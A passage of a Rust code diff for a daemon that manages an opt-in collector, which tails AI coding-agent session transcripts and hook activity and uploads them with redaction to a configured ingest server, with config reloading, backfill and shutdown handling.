flush instead of dropping buffered events. + join_lane(&mut collector_mgr); + let _ = cloud_monitor.join(); + // Returns promptly even mid-scan: the lane watches the same flag while it + // waits on its child and kills the process group rather than waiting the + // scan out, so a `systemctl stop` is never held up by an audit. + join_lane(&mut audit_lane); + + // Joined BEFORE the stop event is recorded, so nothing contends with the + // final send. `run_result` is what distinguishes the two ways this daemon + // ends: a signal (the ordinary stop, and every upgrade) from a socket server + // that gave up, which on a fail-closed machine is every tool call denied + // until systemd restarts it. + join_lane(&mut telemetry_lane); + telemetry::record_stopped( + if run_result.is_ok() { + "signal" + } else { + "server_error" + }, + started_at, + ); + telemetry::shutdown_flush(); + + run_result?; + Ok(()) +} + +/// The collector tasks to supervise for this process. +/// +/// Returns an empty list — and therefore starts no thread and no runtime — +/// unless an ingest credential is configured AND at least one stream is +/// enabled. That is the normal state, so an install that has not opted in +/// pays nothing for this code path existing. +/// +/// A configuration error is logged and treated as "off" rather than being +/// propagated: collection failing to start must never stop the daemon from +/// serving the socket, because the CLI fails closed and a daemon that refused +/// to boot over a malformed `ingest.json` would deny every tool call on the +/// machine. The error is loud so it is fixable, not silent. +/// Own the collector's lifecycle on a dedicated thread. +/// +/// The collector config is not necessarily complete when the daemon starts: +/// `failproofai config` installs the service, so the daemon comes up, and only +/// THEN runs the connect step that writes `ingest.json` and the collector +/// block. Resolving the config once at startup therefore left a freshly-set-up +/// machine shipping nothing until the next manual restart — the exact confusion +/// a user hit while testing. +/// +/// This mirrors what the cloud-policy lane already does: it re-resolves its +/// config every tick precisely so `--connect` needs no root (restarting a +/// system unit does). The collector follows the same rule — it waits for the +/// config to become enabled, then starts once. Enabling collection thus takes +/// effect within one poll interval, no restart, no sudo. +/// +/// It also CYCLES the collector whenever that config changes, which is the +/// difference between a setting being written and a setting taking effect. +/// +/// The collector resolves its ingest credential once, when it starts, and the +/// uploader caches the bearer key at construction. So rotating a key used to +/// leave the file correct and the process wrong: `--connect` verified the NEW +/// key and reported success, the service stayed healthy, the file held a key +/// that worked when curled — and every batch 401'd and parked. Observed live, a +/// key revoked at 13:05:37 and replaced 37 seconds later was still producing +/// 401s twenty minutes on, with 26 parked batches and a CLI saying "connected". +/// The only symptom was data that never arrived. +/// +/// Doing it HERE rather than in the CLI is what makes it unconditional. +/// `config.toml` says "Safe to edit by hand" and means it; a fleet tool, an +/// editor or a `sed` are all legitimate ways to change this file, and none of +/// them run our code. A daemon that only learns about changes its own CLI made +/// is not reloading configuration, it is being told. +/// +/// The CYCLE is the collector, not the daemon. A daemon restart is a window in +/// which a `daemonConfigured` machine denies every tool call, and nothing about +/// re-reading a credential justifies that. Cycling the collector leaves the +/// enforcement socket serving throughout. +fn spawn_collector_manager( + daemon_shutdown: Arc, +) -> Option> { + let interval = collector_config_poll_interval(); + std::thread::Builder::new() + .name("fpai-collect-mgr".to_string()) + .spawn(move || { + // Wait until collection is enabled. A cheap config read each tick, + // not the full task build, so an incomplete config waits quietly + // rather than logging on every interval. + loop { + if daemon_shutdown.load(Ordering::Relaxed) { + return; + } + if collector_is_enabled() { + break; + } + let deadline = std::time::Instant::now() + interval; + while std::time::Instant::now() < deadline { + if daemon_shutdown.load(Ordering::Relaxed) { + return; + } + std::thread::sleep(Duration::from_millis(200)); + } + } + + // Enabled — build and start. `collector_tasks()` logs "collector + // enabled" once; `spawn_supervised` returns None only if the config + // flipped back to disabled between the check and the build, or the + // runtime failed to start. + let Some(collector) = + fpai_collect::spawn_supervised(collector_tasks(), daemon_shutdown.clone()) + else { + return; + }; + + // Publish the counters the collector already keeps for its health + // record, so the telemetry lane can POLL them. A pull, not a push: + // no telemetry code enters `fpai-collect`, and a task quietly + // restarting in a loop stops being invisible from outside the + // machine. + telemetry::set_collector_metrics(collector.metrics()); + // `Option` because `join_with_flush` CONSUMES the handle: the loop + // has to be able to give a generation away and hold nothing until it + // has a replacement. + let mut collector = Some(collector); + // The config this generation was built from. Comparing the whole + // `CollectorConfig` rather than just the credential is deliberate: + // it also covers a stream being switched off, a verbosity change and + // a redaction change, all of which are baked into the tasks at build + // time and none of which took effect before. + let mut running_cfg = current_collector_config(); + + loop { + if daemon_shutdown.load(Ordering::Relaxed) { + break; + } + let deadline = std::time::Instant::now() + interval; + while std::time::Instant::now() < deadline { + if daemon_shutdown.load(Ordering::Relaxed) { + break; + } + std::thread::sleep(Duration::from_millis(200)); + } + if daemon_shutdown.load(Ordering::Relaxed) { + break; + } + + // A backfill rewinds cursors, which the RUNNING collector holds + // in memory and would write straight back over. So it is + // handled here, where the collector can be stopped first — and + // it deliberately runs before the config compare, so a backfill + // and a config change arriving together produce one cycle + // rather than two. + if let Some(since) = take_backfill_request() { + if let Some(running) = collector.take() { + running.join_with_flush(fpai_collect::DEFAULT_FLUSH_BUDGET); + } + let dropped = rewind_cursors_for_backfill(since); + // Widen the first-sight window to cover the request, or the + // files just forgotten are refused as too old and never read + // — the cursor rewind alone would look like it worked and + // deliver a fraction of what was asked for. + let days = std::time::SystemTime::now() + .duration_since(since) + .map(|d| d.as_secs() / 86_400 + 1) + .unwrap_or(0); + set_backfill_window_days(Some(days)); + tracing::info!( + cursors_forgotten = dropped, + window_days = days, + "backfill requested; re-reading those sessions from the start" + ); + match fpai_collect::spawn_supervised(collector_tasks(), daemon_shutdown.clone()) + { + Some(next_collector) => { + telemetry::set_collector_metrics(next_collector.metrics()); + collector = Some(next_collector); + } + None => tracing::warn!( + "backfill rewound cursors but the collector could not be restarted" + ), + } + running_cfg = current_collector_config(); + continue; + } + + let next = current_collector_config(); + // `None` means unreadable, not "disabled". A half-written file + // caught mid-save would otherwise tear down a healthy collector + // and, on the next tick, build a new one from the same bytes. + // Waiting costs one interval and is always recoverable. + let Some(next_cfg) = next else { + continue; + }; + if running_cfg.as_ref() == Some(&next_cfg) { + continue; + } + + // Drain what the old generation already spooled BEFORE starting + // the new one. Two collectors sharing a spool directory would + // both claim the same batch files. + tracing::info!("collector configuration changed; cycling the collector"); + if let Some(running) = collector.take() { + running.join_with_flush(fpai_collect::DEFAULT_FLUSH_BUDGET); + } + + if !next_cfg.is_enabled() { + // Disconnected. Nothing to run, but keep watching: a later + // `--connect` must start collecting again without a restart, + // which is the whole point of this loop. + tracing::info!("collector is no longer enabled; stopping until it is"); + loop { + if daemon_shutdown.load(Ordering::Relaxed) { + return; + } + std::thread::sleep(Duration::from_millis(200)); + if collector_is_enabled() { + break; + } + } + // Control falls through to the spawn below. `next_cfg` is + // refreshed to whatever re-enabled collection, because THAT + // is what the new generation will be built from. + } + let next_cfg = current_collector_config().unwrap_or(next_cfg); + + let Some(next_collector) = + fpai_collect::spawn_supervised(collector_tasks(), daemon_shutdown.clone()) + else { + // Nothing to supervise for this config. Keep the loop alive + // so the next edit is still seen; returning here would make + // one bad config permanent until the next daemon restart. + running_cfg = Some(next_cfg); + continue; + }; + // Replaces the previous generation's counters. The registry is a + // RwLock rather than a OnceLock for exactly this — a set-once + // slot left telemetry polling a collector that had been joined, + // reporting a dead generation's totals as current. + telemetry::set_collector_metrics(next_collector.metrics()); + collector = Some(next_collector); + // What was BUILT FROM, not a fresh read. Re-reading here loses + // any edit that landed between the spawn and this line: it would + // be recorded as the running config and therefore never seen as + // a change again. Caught by the repeat-rotation test, which + // rotates twice in quick succession and saw only the first. + running_cfg = Some(next_cfg); + } + + if let Some(running) = collector.take() { + running.join_with_flush(fpai_collect::DEFAULT_FLUSH_BUDGET); + } + }) + .inspect_err(|err| { + eprintln!("[failproofaid] could not start the collector manager: {err}; nothing is collected this run"); + }) + .ok() +} + +/// Join a lane that may never have started. +/// +/// Every lane is optional by construction: when the OS refuses a thread the +/// daemon runs WITHOUT that feature rather than not at all, because this daemon +/// fails closed and a process that will not start denies every tool call on the +/// machine. Taking the handle also makes a second join a no-op, which the +/// telemetry lane needs — the bind-failure path and the normal path both join +/// it, and only one of them ever runs. +fn join_lane(handle: &mut Option>) { + if let Some(h) = handle.take() { + let _ = h.join(); + } +} + +/// Cheap "should the collector be running?" check — reads the two small config +/// files. Any error resolves to `false`; the full `collector_tasks()` build +/// logs the reason when it acts on an enabled config. +/// How many days of history file sources may reach back on FIRST sight of a +/// file, overriding the default when a backfill is in flight. +/// +/// It has to exist because rewinding cursors is not, on its own, enough. +/// `new_cursor` refuses any file older than `since_days` and returns without +/// giving it a cursor at all — so a wiped cursor store re-reads only the last 7 +/// days, and everything older is skipped again on every poll, silently. A +/// backfill that asked for 30 days and quietly delivered 7 would be worse than +/// no backfill: the gap it leaves is invisible, and the dashboard looks complete. +/// +/// Only consulted when a source meets a file it has no cursor for, so it does +/// not need clearing: once the backfill's rebuild has read those files they all +/// have cursors, and `since_days` is never asked again for them. +static BACKFILL_SINCE_DAYS: std::sync::RwLock> = std::sync::RwLock::new(None); + +fn set_backfill_window_days(days: Option) { + let mut slot = BACKFILL_SINCE_DAYS + .write() + .unwrap_or_else(|e| e.into_inner()); + *slot = days; +} + +/// The history window file sources should honour right now. +/// +/// `Some(7)` normally: a machine holds hundreds of megabytes of transcripts and +/// shipping all of it on first start is not a reasonable default. +fn file_source_since_days() -> Option { + const DEFAULT_DAYS: u64 = 7; + BACKFILL_SINCE_DAYS + .read() + .unwrap_or_else(|e| e.into_inner()) + .or(Some(DEFAULT_DAYS)) +} + +/// A pending backfill request, if one is on disk. +/// +/// `since` is epoch millis: every session file modified at or after it has its +/// cursor forgotten, so the next read starts that file from byte 0. +/// +/// An unparseable request is DELETED rather than retried. It cannot be acted on, +/// and leaving it would re-attempt the same failure on every tick forever — the +/// CLI is the only writer, and it writes this file atomically, so a malformed +/// one means a hand-edit or a truncated disk rather than a race worth waiting +/// out. +fn take_backfill_request() -> Option { + let path = paths::backfill_request_path().ok()?; + let raw = std::fs::read_to_string(&path).ok()?; + let parsed: serde_json::Value = match serde_json::from_str(&raw) { + Ok(v) => v, + Err(err) => { + tracing::warn!(?err, "discarding an unreadable backfill request"); + let _ = std::fs::remove_file(&path); + return None; + } + }; + // Removed BEFORE acting, not after. A backfill that panics mid-rewind must + // not be retried on the next tick — the cursors it already forgot would be + // forgotten again, and a machine could sit re-shipping its whole history in + // a loop. Losing a request costs one re-run of a command; looping does not + // stop. + let _ = std::fs::remove_file(&path); + let since_ms = parsed.get("sinceMs").and_then(|v| v.as_u64())?; + Some(std::time::UNIX_EPOCH + Duration::from_millis(since_ms)) +} + +/// Forget every session cursor for files touched since `since`, across every +/// source, so the collector re-reads and re-ships them. +/// +/// Safe by construction rather than by luck: the cursor store is already +/// documented as re-readable, and redaction is deterministic, so a re-shipped +/// event hashes identically and collapses into the row already on the server +/// instead of duplicating it. +fn rewind_cursors_for_backfill(since: std::time::SystemTime) -> usize { + let Ok(root) = paths::cursors_dir() else { + return 0; + }; + let Ok(entries) = std::fs::read_dir(&root) else { + // No cursors yet means nothing has been shipped, so the next start + // reads everything from the beginning anyway — the backfill is already + // what is about to happen. + return 0; + }; + let mut dropped = 0; + for entry in entries.flatten() { + if !entry.path().is_dir() { + continue; + } + let mut store = fpai_collect::cursor::CursorStore::load(entry.path()); + let n = store.forget_modified_since(since); + if n > 0 { + if let Err(err) = store.save() { + tracing::warn!(dir = ?entry.path(), ?err, "could not persist a rewound cursor store"); + continue; + } + dropped += n; + } + } + dropped +} + +/// The collector's current on-disk configuration, or `None` when it cannot be +/// read. +/// +/// `None` is deliberately NOT "disabled": an unreadable file is usually one +/// caught mid-save, and treating that as a configuration change would tear down +/// a healthy collector and rebuild it from the same bytes a tick later. +fn current_collector_config() -> Option { + let home = paths::failproofai_home().ok()?; + fpai_collect::config::load(&home).ok() +} + +fn collector_is_enabled() -> bool { + let Ok(home) = paths::failproofai_home() else { + return false; + }; + fpai_collect::config::load(&home) + .map(|cfg| cfg.is_enabled()) + .unwrap_or(false) +} + +/// How often to re-check whether the collector config has become enabled. +/// Short by default — it is two small JSON reads — so enabling collection after +/// a fresh setup is prompt. `FAILPROOFAI_COLLECTOR_CONFIG_POLL_MS` overrides it. +fn collector_config_poll_interval() -> Duration { + const DEFAULT_MS: u64 = 5_000; + const MINIMUM_MS: u64 = 500; + let ms = std::env::var("FAILPROOFAI_COLLECTOR_CONFIG_POLL_MS") + .ok() + .and_then(|v| v.parse::().ok()) + .unwrap_or(DEFAULT_MS); + Duration::from_millis(ms.max(MINIMUM_MS)) +} + +fn collector_tasks() -> Vec { + let home = match paths::failproofai_home() { + Ok(home) => home, + Err(err) => { + eprintln!("[failproofaid] collector disabled: {err}"); + return Vec::new(); + } + }; + + let cfg = match fpai_collect::config::load(&home) { + Ok(cfg) => cfg, + Err(err) => { + eprintln!("[failproofaid] collector disabled: {err}"); + return Vec::new(); + } + }; + + if !cfg.is_enabled() { + return Vec::new(); + } + + // `is_enabled()` already established there is one. + let Some(ingest) = cfg.ingest.clone() else { + return Vec::new(); + }; + + let uploader = match fpai_collect::Uploader::new( + ingest.url.clone(), + ingest.key.clone(), + cfg.failed_dir.clone(), + ) { + Ok(u) => std::sync::Arc::new(u), + Err(err) => { + eprintln!("[failproofaid] collector disabled: {err}"); + return Vec::new(); + } + }; + + eprintln!( + "[failproofaid] collector enabled: sessions={} hooks={} ({:?}) -> {}", + cfg.settings.sessions, cfg.settings.hooks, cfg.settings.hooks_verbosity, ingest.url, + ); + + // One `Delivery` shared by both tasks, so they share an upload semaphore + // and an in-flight set. Separate ones would let the watcher and a + // concurrent sweep POST the same batch twice. + let delivery = std::sync::Arc::new(fpai_collect::Delivery::new(uploader)); + + let watch_delivery = delivery.clone(); + let watch_dirs = cfg.spool_dirs.clone(); + let sweep_delivery = delivery; + let sweep_dirs = cfg.spool_dirs.clone(); + let failed_dir = cfg.failed_dir.clone(); + + let mut tasks = Vec::new(); + + // Install the process health registry BEFORE any source starts, so no poll + // reports into a registry that does not exist yet. The writer publishes it + // on an interval and deletes it on clean shutdown — absence means "no + // daemon", where a stale file makes a stopped daemon look like a running + // one whose sources all went quiet. + let health = std::sync::Arc::new(fpai_collect::Health::new()); + fpai_collect::health::install(health.clone()); + let health_file = fpai_collect::health_path(&home); + tasks.push(fpai_collect::TaskSpec::new("health", move |sd| { + fpai_collect::health::writer_task( + health.clone(), + health_file.clone(), + fpai_collect::health::WRITE_INTERVAL, + sd, + ) + })); + + let cursors_root = paths::cursors_dir().unwrap_or_else(|_| home.join("cursors")); + + // The OS user this daemon runs as — the profile half of the (machine_id, + // user) identity. Resolved once and stamped onto every event by every source + // below, so two profiles on one machine stay distinct in the fleet views. + let os_user = current_os_user(); + // `[collector] redact`, threaded to every source below. It parsed correctly + // and reached nothing: no source carried the field, so every real + // `SpoolWriter` kept the hardcoded `Redact::Minimal` and setting + // `redact = "off"` had no observable effect at all. + let redact = cfg.settings.redact; + + if cfg.settings.hooks { + // Hook activity: one source covering every CLI failproofai is + // installed in, because the store is CLI-agnostic — each row names its + // own integration. Reads the same store the dashboard's activity tab + // does, and never writes to it. + // Layout 2: promoted out of cache/ (see paths.rs). + let store_dir = paths::hook_activity_dir().unwrap_or_else(|_| home.join("hook-activity")); + let state_dir = cursors_root.join("hooks"); + let spool_dir = cfg.own_spool_dir.clone(); + let verbosity = cfg.settings.hooks_verbosity; + let environment = cfg.settings.environment.clone(); + let machine_id = cfg.settings.machine_id.clone(); + let hooks_user = os_user.clone(); + let hooks_redact = cfg.settings.redact; + tasks.push(fpai_collect::TaskSpec::new("hook-activity", move |sd| { + fpai_collect::sources::hooks::run( + store_dir.clone(), + state_dir.clone(), + spool_dir.clone(), + verbosity, + environment.clone(), + machine_id.clone(), + hooks_user.clone(), + hooks_redact, + sd, + ) + })); + } + + if cfg.settings.sessions { + // Session transcripts, gated on the `sessions` opt-in because — unlike + // hook activity — these carry prompts, file contents and whatever was + // pasted into a terminal. + // + // Every source is registered the same way regardless of which engine it + // uses, so adding one is a row here plus its own module. + let spool = cfg.own_spool_dir.clone(); + let env = cfg.settings.environment.clone(); + let machine = cfg.settings.machine_id.clone(); + let cursors = cursors_root.clone(); + + use fpai_collect::sources::{ + antigravity, claude, codex, copilot, cursor, factory, openclaw, pi, + }; + file_source( + &mut tasks, + "claude", + claude::FORMAT, + vec![claude_projects_root()], + claude::DEFAULT_AGENT_ID, + &spool, + &cursors, + &env, + machine.as_deref(), + os_user.as_deref(), + redact, + ); + // Subagent transcripts live under the SAME root, claimed by a second + // format. A separate source, not a second predicate: `is_source_file` + // is a bare fn, and each source needs its own cursor store — one store + // writes its whole map atomically, so two sharing a file would clobber + // each other and the loser would re-ship from zero after every restart. + file_source( + &mut tasks, + "claude-subagent", + claude::SUBAGENT_FORMAT, + vec![claude_projects_root()], + claude::SUBAGENT_DEFAULT_AGENT_ID, + &spool, + &cursors, + &env, + machine.as_deref(), + os_user.as_deref(), + redact, + ); + file_source( + &mut tasks, + "codex", + codex::FORMAT, + vec![codex_sessions_root()], + codex::DEFAULT_AGENT_ID, + &spool, + &cursors, + &env, + machine.as_deref(), + os_user.as_deref(), + redact, + ); + file_source( + &mut tasks, + "copilot", + copilot::FORMAT, + vec![copilot::session_state_root()], + copilot::DEFAULT_AGENT_ID, + &spool, + &cursors, + &env, + machine.as_deref(), + os_user.as_deref(), + redact, + ); + file_source( + &mut tasks, + "openclaw", + openclaw::FORMAT, + openclaw::default_roots(), + openclaw::DEFAULT_AGENT_ID, + &spool, + &cursors, + &env, + machine.as_deref(), + os_user.as_deref(), + redact, + ); + file_source( + &mut tasks, + "pi", + pi::FORMAT, + vec![pi::sessions_root()], + pi::DEFAULT_AGENT_ID, + &spool, + &cursors, + &env, + machine.as_deref(), + os_user.as_deref(), + redact, + ); + file_source( + &mut tasks, + "factory", + factory::FORMAT, + vec![factory_sessions_root()], + factory::DEFAULT_AGENT_ID, + &spool, + &cursors, + &env, + machine.as_deref(), + os_user.as_deref(), + redact, + ); + file_source( + &mut tasks, + "antigravity", + antigravity::FORMAT, + vec![antigravity_brain_root()], + antigravity::DEFAULT_AGENT_ID, + &spool, + &cursors, + &env, + machine.as_deref(), + os_user.as_deref(), + redact, + ); + file_source( + &mut tasks, + "cursor", + cursor::FORMAT, + vec![cursor_projects_root()], + cursor::DEFAULT_AGENT_ID, + &spool, + &cursors, + &env, + machine.as_deref(), + os_user.as_deref(), + redact, + ); + + use fpai_collect::sources::{devin, goose, hermes, opencode}; + sqlite_source( + &mut tasks, + "goose", + goose::FORMAT, + goose::db_path(), + goose::DEFAULT_AGENT_ID, + &spool, + cursors.join("goose"), + &env, + machine.as_deref(), + os_user.as_deref(), + redact, + None, + ); + sqlite_source( + &mut tasks, + "opencode", + opencode::FORMAT, + opencode::default_db_path(), + opencode::DEFAULT_AGENT_ID, + &spool, + cursors.join("opencode"), + &env, + machine.as_deref(), + os_user.as_deref(), + redact, + None, + ); + sqlite_source( + &mut tasks, + "devin", + devin::FORMAT, + devin::db_path(), + devin::DEFAULT_AGENT_ID, + &spool, + cursors.join("devin"), + &env, + machine.as_deref(), + os_user.as_deref(), + redact, + None, + ); + + // Hermes profiles are SEPARATE databases, and the SQLite poller keys its + // cursor on a fixed synthetic id — so two profiles sharing one state + // directory would clobber each other's watermark and each would re-read + // from zero after every restart. Each database gets its own. + for (i, db) in hermes::default_db_paths().into_iter().enumerate() { + let profile = profile_dir_name(&db, i); + let state = cursors.join("hermes").join(&profile); + // ...and its own health key, for the same reason it gets its own + // cursor directory. Every profile reporting under the bare string + // "hermes" made two profiles overwrite each other's record five + // times a second: with one database missing, `root_present` + // alternated true/false forever, which is precisely the "absent + // root versus merely idle" distinction this record exists to draw. + sqlite_source( + &mut tasks, + "hermes", + hermes::FORMAT, + db, + hermes::DEFAULT_AGENT_ID, + &spool, + state, + &env, + machine.as_deref(), + os_user.as_deref(), + redact, + Some(format!("hermes:{profile}")), + ); + } + } + + tasks.extend([ + // Latency: delivers a batch within milliseconds of it being published. + fpai_collect::TaskSpec::new("spool-watcher", move |sd| { + fpai_collect::delivery::watch(watch_delivery.clone(), watch_dirs.clone(), sd) + }), + // Guarantee: delivers anything the watcher never saw — published while + // the daemon was stopped, or on a filesystem with no event support — + // and retries parked batches on a much slower cadence. + fpai_collect::TaskSpec::new("spool-sweeper", move |sd| { + fpai_collect::delivery::sweep( + sweep_delivery.clone(), + sweep_dirs.clone(), + failed_dir.clone(), + sd, + ) + }), + ]); + + tasks +} + +/// Where Claude Code keeps its transcripts. +/// +/// `CLAUDE_PROJECTS_PATH` overrides it, matching the env var the TypeScript +/// side already honours, so a machine that has moved the directory is captured +/// by both halves rather than one. +fn claude_projects_root() -> std::path::PathBuf { + if let Some(p) = std::env::var_os("CLAUDE_PROJECTS_PATH") { + return std::path::PathBuf::from(p); + } + let home = std::env::var_os("HOME") + .map(std::path::PathBuf::from) + .unwrap_or_default(); + home.join(".claude").join("projects") +} + +/// Register one file-tailing source. +#[allow(clippy::too_many_arguments)] +fn file_source( + tasks: &mut Vec, + name: &'static str, + format: fpai_collect::filetail::Format, + roots: Vec, + default_agent_id: &'static str, + spool_dir: &std::path::Path, + cursor_root: &std::path::Path, + environment: &str, + machine_id: Option<&str>, + user: Option<&str>, + redact: fpai_collect::Redact, +) { + let spool_dir = spool_dir.to_path_buf(); + // One cursor store per source, never shared: the store writes its whole map + // atomically, so two sources sharing a file would clobber each other and the + // loser would re-read from zero after every restart. + let state_dir = cursor_root.join(name); + let environment = environment.to_string(); + let machine_id = machine_id.map(str::to_string); + let user = user.map(str::to_string); + tasks.push(fpai_collect::TaskSpec::new(name, move |sd| { + fpai_collect::filetail::run( + fpai_collect::filetail::Spec { + format, + roots: roots.clone(), + spool_dir: spool_dir.clone(), + state_dir: state_dir.clone(), + poll_interval: std::time::Duration::from_secs(2), + params: fpai_collect::filetail::Params { + agent_id: default_agent_id.to_string(), + environment: environment.clone(), + machine_id: machine_id.clone(), + user: user.clone(), + end_idle_mins: 10, + redact, + max_read_bytes: 32 * 1024 * 1024, + max_batch_bytes: fpai_collect::spool::DEFAULT_MAX_BATCH_BYTES, + // Never the whole history by default. A normal machine holds + // hundreds of megabytes of transcripts, and shipping all of + // it on first start is not a reasonable default. A backfill + // widens this for its own rebuild — see BACKFILL_SINCE_DAYS, + // without which rewinding cursors delivers only 7 days no + // matter what was asked for. + since_days: file_source_since_days(), + }, + }, + sd, + ) + })); +} + +/// Register one SQLite-polling source. +#[allow(clippy::too_many_arguments)] +fn sqlite_source( + tasks: &mut Vec, + name: &'static str, + format: fpai_collect::sqlitepoll::SqliteFormat, + db_path: std::path::PathBuf, + default_agent_id: &'static str, + spool_dir: &std::path::Path, + state_dir: std::path::PathBuf, + environment: &str, + machine_id: Option<&str>, + user: Option<&str>, + redact: fpai_collect::Redact, + // Distinct health key when one format has several live instances (Hermes, + // one database per profile). `None` reports under the format's own kind. + health_key: Option, +) { + let spool_dir = spool_dir.to_path_buf(); + let environment = environment.to_string(); + let machine_id = machine_id.map(str::to_string); + let user = user.map(str::to_string); + tasks.push(fpai_collect::TaskSpec::new(name, move |sd| { + fpai_collect::sqlitepoll::run( + fpai_collect::sqlitepoll::Spec { + format, + db_path: db_path.clone(), + spool_dir: spool_dir.clone(), + state_dir: state_dir.clone(), + poll_interval: std::time::Duration::from_secs(5), + params: fpai_collect::sqlitepoll::Params { + agent_id: default_agent_id.to_string(), + environment: environment.clone(), + machine_id: machine_id.clone(), + user: user.clone(), + redact, + max_rows_per_poll: 2000, + max_batch_bytes: fpai_collect::spool::DEFAULT_MAX_BATCH_BYTES, + max_drain_passes: 20, + }, + health_key: health_key.clone(), + }, + sd, + ) + })); +} + +/// The OS user this daemon runs as, for stamping onto collected events. +/// +/// Resolved from the real uid via the password database, not `$USER`: a +/// system-scope service unit runs with a minimal environment where `$USER` may +/// be unset or stale, whereas the uid is always authoritative. Returns `None` +/// when the uid has no passwd entry (or the name is empty/non-UTF-8), in which +/// case events simply carry no user — the same "never invent an identity" +/// stance `machine_id` takes. +fn current_os_user() -> Option { + // SAFETY: getuid reads this process's credentials and cannot fail. + let uid = unsafe { libc::getuid() }; + // The reentrant getpwuid_r fills a caller-owned buffer, so nothing here + // races on the shared static that the plain getpwuid returns. + let mut pwd: libc::passwd = unsafe { std::mem::zeroed() }; + let mut buf = vec![0 as libc::c_char; 1024]; + let mut result: *mut libc::passwd = std::ptr::null_mut(); + loop { + // SAFETY: `pwd`, `buf` and `result` all outlive the call; `result` + // receives either `&mut pwd` or null. + let rc = + unsafe { libc::getpwuid_r(uid, &mut pwd, buf.as_mut_ptr(), buf.len(), &mut result) }; + if rc == libc::ERANGE { + // Buffer too small — grow and retry, capped so a broken libc cannot + // spin us into unbounded allocation. + if buf.len() >= 64 * 1024 { + return None; + } + buf.resize(buf.len() * 2, 0); + continue; + } + if rc != 0 || result.is_null() { + return None; + } + break; + } + // SAFETY: `pw_name` points into `buf`, valid until `buf` is dropped; the + // string is copied out before that happens. + let name = unsafe { std::ffi::CStr::from_ptr(pwd.pw_name) }; + name.to_str() + .ok() + .map(str::to_string) + .filter(|s| !s.is_empty()) +} + +/// A stable, filesystem-safe directory name for one Hermes profile database. +/// +/// Derived from the profile directory rather than an index alone, so adding a +/// profile cannot renumber an existing one and silently reset its watermark. +fn profile_dir_name(db: &std::path::Path, index: usize) -> String { + let name = db + .parent() + .and_then(|p| p.file_name()) + .and_then(|n| n.to_str()) + .unwrap_or("default"); + let safe: String = name + .chars() + .map(|c| if c.is_ascii_alphanumeric() { c } else { '-' }) + .take(32) + .collect(); + if safe.trim_matches('-').is_empty() { + format!("profile-{index}") + } else { + safe + } +} + +/// Where OpenAI Codex keeps its rollout logs. +fn codex_sessions_root() -> std::path::PathBuf { + if let Some(p) = std::env::var_os("CODEX_HOME") { + return std::path::PathBuf::from(p).join("sessions"); + } + let home = std::env::var_os("HOME") + .map(std::path::PathBuf::from) + .unwrap_or_default(); + home.join(".codex").join("sessions") +} + +/// `~/.factory/sessions`, honouring the `FACTORY_HOME` override the audit +/// adapter uses so tests can point at a fixture tree. +fn factory_sessions_root() -> std::path::PathBuf { + if let Some(p) = std::env::var_os("FACTORY_HOME") { + return std::path::PathBuf::from(p).join("sessions"); + } + let home = std::env::var_os("HOME") + .map(std::path::PathBuf::from) + .unwrap_or_default(); + home.join(".factory").join("sessions") +} + +/// `~/.gemini/antigravity-cli/brain`, honouring the `ANTIGRAVITY_HOME` override +/// (which points at the `antigravity-cli` dir) the audit adapter uses. +fn antigravity_brain_root() -> std::path::PathBuf { + if let Some(p) = std::env::var_os("ANTIGRAVITY_HOME") { + return std::path::PathBuf::from(p).join("brain"); + } + let home = std::env::var_os("HOME") + .map(std::path::PathBuf::from) + .unwrap_or_default(); + home.join(".gemini").join("antigravity-cli").join("brain") +} + +/// `~/.cursor/projects`, honouring the `CURSOR_HOME` override the audit adapter +/// uses so tests can point at a fixture tree. +fn cursor_projects_root() -> std::path::PathBuf { + if let Some(p) = std::env::var_os("CURSOR_HOME") { + return std::path::PathBuf::from(p).join("projects"); + } + let home = std::env::var_os("HOME") + .map(std::path::PathBuf::from) + .unwrap_or_default(); + home.join(".cursor").join("projects") +} + +fn cloud_policy_reconcile_interval() -> Duration { + const DEFAULT_MS: u64 = 30_000; + const MINIMUM_MS: u64 = 100; + let configured = std::env::var("FAILPROOFAI_CLOUD_POLICY_RECONCILE_MS") + .ok() + .and_then(|value| value.parse::().ok()) + .unwrap_or(DEFAULT_MS); + Duration::from_millis(configured.max(MINIMUM_MS)) +} + +/// Requests a clean shutdown (socket file removal, lock release via Drop) +/// on SIGTERM/SIGINT instead of dying mid-accept-loop — this is how a +/// systemd `stop`/launchd unload is expected to end the process. +fn install_signal_handler(shutdown: Arc) { + static SHUTDOWN_REQUESTED: AtomicBool = AtomicBool::new(false); + + extern "C" fn handle_signal(_sig: libc::c_int) { + SHUTDOWN_REQUESTED.store(true, Ordering::Relaxed); + } + + unsafe { + libc::signal( + libc::SIGTERM, + handle_signal as *const () as libc::sighandler_t, + ); + libc::signal( + libc::SIGINT, + handle_signal as *const () as libc::sighandler_t, + ); + } + + std::thread::spawn(move || { + loop { + if SHUTDOWN_REQUESTED.load(Ordering::Relaxed) { + shutdown.store(true, Ordering::Relaxed); + return; + } + std::thread::sleep(std::time::Duration::from_millis(50)); + } + }); +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn current_os_user_resolves_the_running_user() { + // Guards the unsafe getpwuid_r plumbing: whoever runs the tests has a + // passwd entry, so the lookup must yield a non-empty name. + let name = current_os_user().expect("the running uid should resolve to a passwd entry"); + assert!(!name.is_empty()); + // It reads the process uid, not the environment, so it is stable across + // calls within one process. + assert_eq!(current_os_user().as_deref(), Some(name.as_str())); + } +} diff --git a/crates/failproofaid/src/paths.rs b/crates/failproofaid/src/paths.rs new file mode 100644 index 00000000..c79bbafa --- /dev/null +++ b/crates/failproofaid/src/paths.rs @@ -0,0 +1,517 @@ +//! Resolves where failproofaid's runtime state lives on disk. +//! +//! User-scope only (per the plan: no elevation, everything under the +//! invoking user's home directory) — Linux and macOS only, matching the +//! rest of this crate. + +use std::fs; +use std::io; +use std::os::unix::fs::PermissionsExt; +use std::path::PathBuf; + +/// `~/.failproofai/run` — directory holding the socket and singleton lock +/// file. Overridable via `FAILPROOFAI_DAEMON_SOCKET`'s parent for local dev +/// (see `run_dir_override`), so a `bun run daemon:dev` loop never touches a +/// real installed daemon's state. +/// +/// Derived from [`failproofai_home`] and NOT from `$HOME` directly, because the +/// CLI derives the same path from `FAILPROOFAI_HOME` (`fp-home.ts`'s `runDir`). +/// While this read `$HOME` unconditionally, setting `FAILPROOFAI_HOME` put the +/// two processes on different sockets: the daemon bound one, the hook looked for +/// the other, found nothing, and — on a `daemonConfigured` machine, which fails +/// closed — DENIED every tool call across all 11 CLIs, with a perfectly healthy +/// daemon running the whole time. +pub fn run_dir() -> io::Result { + if let 